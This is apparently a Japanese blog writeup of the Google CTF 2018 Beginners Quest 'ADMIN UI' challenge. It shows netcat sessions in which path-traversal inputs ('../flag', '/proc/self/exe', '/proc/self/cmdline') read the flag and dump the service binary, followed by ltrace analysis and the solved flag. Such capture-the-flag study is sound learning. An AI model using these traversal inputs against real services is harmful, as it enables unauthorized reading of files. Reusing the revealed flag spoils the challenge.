進行中の何か

主にIT系の調べたこと。やったことをまとめます。

Google CTF 2018 Beginners Quest writeup 06

時間があいてしまいましたが、
GoogleCTF 2018 Beginners QuestのWriteupを引き続き書いていきます。

ただ、月日も経ってしまったのでwriteup等も参考にしながら解き方を学んでいきます。

ADMIN UI [pwn-re]

管理UIにログインしてパスワードを探す問題。

まずはアクセス。 1)を選択するとパスワードを聞かれ、間違えると切断される。
2)を選択するとリリースノートが見れる。
けど直接ファイル名を指定しないといけないので怪しい。

# nc mngmnt-iface.ctfcompetition.com 1337
=== Management Interface ===
 1) Service access
 2) Read EULA/patch notes
 3) Quit
2
The following patchnotes were found:
 - Version0.3
 - Version0.2
Which patchnotes should be shown?
Version0.3
# Version 0.3
 - Rollback of version 0.2 because of random reasons
 - Blah Blah
 - Fix random reboots at 2:32 every second Friday when it's new-moon.

ただフラグがどこに保存されているかがわからない。
けど類推すれば「flag」じゃね?ということで実行するとflagが取れる。

# nc mngmnt-iface.ctfcompetition.com 1337
=== Management Interface ===
 1) Service access
 2) Read EULA/patch notes
 3) Quit
2 
The following patchnotes were found:
 - Version0.3
 - Version0.2
Which patchnotes should be shown?
../flag 
CTF{I_luv_buggy_sOFtware}===

と類推でも解けますが、正攻法でやってみます!
まずは動いているプログラムを探す。
「/proc/self」ディレクトリ配下には
実行中のプロセスの情報が入っているのでそこから探索していきます。
今回は「/proc/self/exe」と「/proc/self/cmdline」を利用し、実行ファイル名と実行ファイルを取得します。

ファイル名の取得。
./mainという名前であることがわかります。

# nc mngmnt-iface.ctfcompetition.com 1337
=== Management Interface ===
 1) Service access
 2) Read EULA/patch notes
 3) Quit
2
The following patchnotes were found:
 - Version0.3
 - Version0.2
Which patchnotes should be shown?
../../../../../../../proc/self/cmdline
./main=== Management Interface ===

次にファイルの取得。
GUI画面のいらない文字列を後ほど削除する。

# echo -e "2\n../../../../../../../proc/self/exe\n" | nc mngmnt-iface.ctfcompetition.com 1337 > exe
# cp exe exe.old
# vim -b exe
# diff -a exe exe.old
0a1,8
> === Management Interface ===
>  1) Service access
>  2) Read EULA/patch notes
>  3) Quit
> The following patchnotes were found:
>  - Version0.3
>  - Version0.2
> Which patchnotes should be shown?
# file exe
exe: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=e78c178ffb1ddc700123dbda1a49a695fafd6c84, with debug_info, not stripped

あとは動かしてみながら解析。 結果から以下がわかる。

  1. 「opendir("patchnotes/") 」の呼び出しにより、「patchnotes」ディレクトリに先ほどのVersionなどの情報が置かれている。
  2. 「open("flag", 0, 010571354300) 」の呼び出しにより、 パスワードはflagというファイルなのがわかる。
# ltrace ./exe
setbuf(0x7f6045e5ba00, 0)                        = <void>
setbuf(0x7f6045e5c760, 0)                        = <void>
setbuf(0x7f6045e5c680, 0)                        = <void>
puts("=== Management Interface ==="=== Management Interface ===
)             = 29
puts(" 1) Service access" 1) Service access
)                       = 19
puts(" 2) Read EULA/patch notes" 2) Read EULA/patch notes
)                = 26
puts(" 3) Quit" 3) Quit
)                                 = 9
scanf(0x41414c72, 0x7ffcc0261414, 0x7f6045e5d8c0, 0x7f6045d8d2a42
) = 1
strncpy(0x7ffcc0261300, "patchnotes/", 268)      = 0x7ffcc0261300
opendir("patchnotes/")                           = 0
puts("No patchnotes found!"No patchnotes found!
)                     = 21
puts("Which patchnotes should be shown"...Which patchnotes should be shown?
)      = 34
scanf(0x41414d0a, 0x7ffcc026130b, 0x7f6045e5d8c0, 0x7f6045d8d2a41
) = 1
open("patchnotes/1", 0, 010571354320)            = -1
__errno_location()                               = 0x7f6045ca2e60
strerror(2)                                      = "No such file or directory"
printf("Error: %s\n", "No such file or directory"Error: No such file or directory
) = 33
fflush(0)                                        = 0
puts("=== Management Interface ==="=== Management Interface ===
)             = 29
puts(" 1) Service access" 1) Service access
)                       = 19
puts(" 2) Read EULA/patch notes" 2) Read EULA/patch notes
)                = 26
puts(" 3) Quit" 3) Quit
)                                 = 9
scanf(0x41414c72, 0x7ffcc0261414, 0x7f6045e5d8c0, 0x7f6045d8d2a41
) = 1
puts("Please enter the backdoo^Wservic"...Please enter the backdoo^Wservice password:
)      = 44
open("flag", 0, 010571354300)                    = -1
puts("Login mechanism corrupted!"Login mechanism corrupted!
)               = 27
exit(1 <no return ...>
+++ exited (status 1) +++

つまりファイル構造は以下のような形であることから ../flagと指定することでflagを取得することができる。

# tree ./
./
├── flag
├── main
└── patchnotes
    ├── Version0.2
    └── Version0.3

今回のflagはCTF{I_luv_buggy_sOFtware}